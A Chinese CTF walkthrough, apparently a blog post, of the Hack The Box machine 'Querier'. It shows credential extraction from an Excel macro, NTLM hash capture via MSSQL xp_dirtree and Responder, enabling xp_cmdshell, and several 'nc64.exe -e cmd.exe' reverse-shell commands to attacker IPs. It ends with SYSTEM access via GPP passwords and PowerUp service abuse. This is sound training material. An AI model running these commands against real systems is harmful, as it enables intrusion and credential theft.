HTB-Querier

端口扫描

SMB (135/139/445)、MSSQL (1433)、WinRM (5985):

smb枚举

smbmap -u invaliduser -H 10.10.10.125 不行

smbclient -N //10.10.10.125/Reports 可以,枚举这个目录下有一个.xlsm文件,提取出来

get "Currency Volume Report.xlsm"

'xx xx xx.xlsm' 与 xx\ xx\ xx.xlsm

但像( oletoolsolevba的一部分)这样的工具将为我提供 Linux 计算机上的 VBA

olevba Currency\ Volume\ Report.xlsm

记得查一下windows中office如何开启hong

由此,我可以获得用于连接的用户名(“reporting”)和密码(“PcwTWTHRwryjc$c6”)。

只有这个可以用

mssql触发responder

常规枚举没有什么信息

responder -I tun0

接下来,我将发出连接以使用xp_dirtree主机上的 SMB 共享(不存在)加载文件:

SQL> xp_dirtree '\\10.10.16.4\a';
subdirectory    depth
-------------   -----------

它不会返回任何内容,但在响应程序窗口中,我捕获了必要的信息:

在responder中有ntlm值

hashcat破解

使用用户名“mssql-src”和密码“corporate568”,我现在可以使用新的凭据登录:

root@kali# mssqlclient.py mssql-svc:'corporate568'@10.10.10.125 -windows-auth

通过访问 mssql-svc 帐户,我对数据库拥有更多权限:

查询权限语句

SQL> SELECT * FROM fn_my_permissions(NULL, 'SERVER');

它仍然不允许我运行xp_cmdshell运行命令的命令:

SQL> xp_cmdshell whoami

请注意,运行命令的实际语法是EXEC xp_cmdshell '[command]';. 但是,我用来连接的客户端mssqlclient.py有一个内置命令来运行命令xp_cmdshell,所以我只需键入xp_cmdshell [command]

作为 mssql-svc,我可以启用xp_cmdshell(作为报告我无法做到的事情)。就像运行命令一样,脚本中有一个别名可以执行此操作。完整的命令是(来自微软的文档):

-- To allow advanced options to be changed.  
EXEC sp_configure 'show advanced options', 1;  
GO  
-- To update the currently configured value for advanced options.  
RECONFIGURE;  
GO  
-- To enable the feature.  
EXEC sp_configure 'xp_cmdshell', 1;  
GO  
-- To update the currently configured value for this feature.  
RECONFIGURE;  
GO

shell 的别名有效:

SQL> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
​
SQL> xp_cmdshell whoami
output
--------------------------------------------------------------------------------
querier\mssql-svc
NULL

反弹shell

root@kali# smbserver.py -smb2support a smb/

靶机

xp_cmdshell \10.10.16.4\a\nc64.exe -e cmd.exe 10.10.16.4 443

rlwrap nc -lnvp 443

Windows 上最好的枚举脚本之一PowerUp.ps1来自PowerSploit。要在这里运行它,我将在 smb 共享中创建它的副本:

root@kali# cp /opt/PowerSploit/Privesc/PowerUp.ps1 smb/

shellnc足够稳定,可以加载交互式 PowerShell 会话:

C:\Users\mssql-svc\Desktop>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
​
PS C:\Users\mssql-svc\Desktop> whoami
querier\mssql-svc

Windows 有时会从文件共享加载 PowerShell 脚本时出现问题,但我可以移动到临时文件,将文件复制到那里,然后导入它:

PS C:\Users\mssql-svc\Desktop> cd ..\appdata\local\temp
​
PS C:\Users\mssql-svc\appdata\local\temp> xcopy \\10.10.14.14\a\PowerUp.ps1 .
xcopy \\10.10.14.14\a\PowerUp.ps1 .
\\10.10.14.14\a\PowerUp.ps1
1 File(s) copied
​
PS C:\Users\mssql-svc\appdata\local\temp> . .\PowerUp.ps1
. .\PowerUp.ps1

现在我可以运行它Invoke-AllChecks

PS C:\Users\mssql-svc\appdata\local\temp> Invoke-AllChecks
​
Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2212
ProcessId   : 192
Name        : 192
Check       : Process Token Privileges
​
ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services
​
ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
​
UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files
​
Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check     : Cached GPP Files

这里有很多有趣的东西,可以有多种提权方法。现在,我将跳到最明显的结果,即用户名/密码组合为“Administrator”/“MyUnclesAreMarioAndLuigi!!1!”的 GPP 密码文件。

wmiexec.py 'administrator:MyUnclesAreMarioAndLuigi!!1!@10.10.10.125'

多种提权学习

PowerUp显示了通往 SYSTEM 的五种潜在路径:

  • SeImpersonatePrivilege

  • Modifiable Service - UsoSvc

  • %PATH% .dll Hijacks

  • Unattended Install Files

  • Cached GPP Files

RIP Juicy Potato(多汁土豆修复)

看来微软可能已经修复了Server 2019 中从 SeImpresonate 到 SYSTEM 的路径,这就是该主机的内容:

PS C:\Users\mssql-svc\Desktop> gwmi win32_operatingsystem | % caption
Microsoft Windows Server 2019 Standard 

所以这是一个死胡同。

Unattended Install Files

Jumping to the fourth item, there can be passwords in unattended.xml files. Unfortunately for me, not in these:

不是这个文件的passwd

PS C:\windows\panther> type unattend.xml | findstr /i password
type unattend.xml | findstr /i password
     <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Password>*SENSITIVE*DATA*DELETED*</Password>

可修改的服务滥用(Unattended Install Files)

binPath 是一个必需的服务参数,用于指定服务二进制文件的路径。如果任何服务配置了不正确的权限并提供对服务配置的未经授权的访问,攻击者可以利用此错误配置并通过binPath参数执行任意命令。

运行的一件事Invoke-AllChecksGet-ModifiableService命令行开关。它:

枚举所有服务并返回当前用户可以修改 binPath 的服务。

当我在上面运行时,这会产生以下输出Invoke-AllChecks

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

他们建议跑步Invoke-ServiceAbuse。我将看一下这个函数的源代码。它将启用该服务(如果尚未启用),并备份当前的服务二进制文件。然后它将设置服务运行输入命令,运行服务,等待,然后停止服务,并恢复原始二进制文件。

PS C:\Users\mssql-svc\AppData\Local\Temp> Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443"                                                                                                 
Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443"
​
ServiceAbused Command
------------- -------
UsoSvc        \\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443

并以 SYSTEM 身份获取 shell:

root@kali# nc -lvnp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49682.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
​
C:\Windows\system32>whoami
whoami
nt authority\system

然而,因为脚本是用来运行命令然后停止服务的,所以它很快就会死掉(即使它试图让它们继续运行,它nc64.exe不是服务二进制文件,所以它会很快死掉)。我可以用来msfvenom创建一个服务二进制文件,或者我可以让第一个 shellnc再次执行。nc即使它的父进程死了,这个新进程也会继续存在:

root@kali# nc -lvnp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49686.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
​
C:\Windows\system32>\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444
\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444

我还可以让PowerUp命令添加一个管理员用户,或者安排一个任务每分钟运行nc并连接回我。这两个命令都会快速运行并完成,不会出现任何问题。

  • 23
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值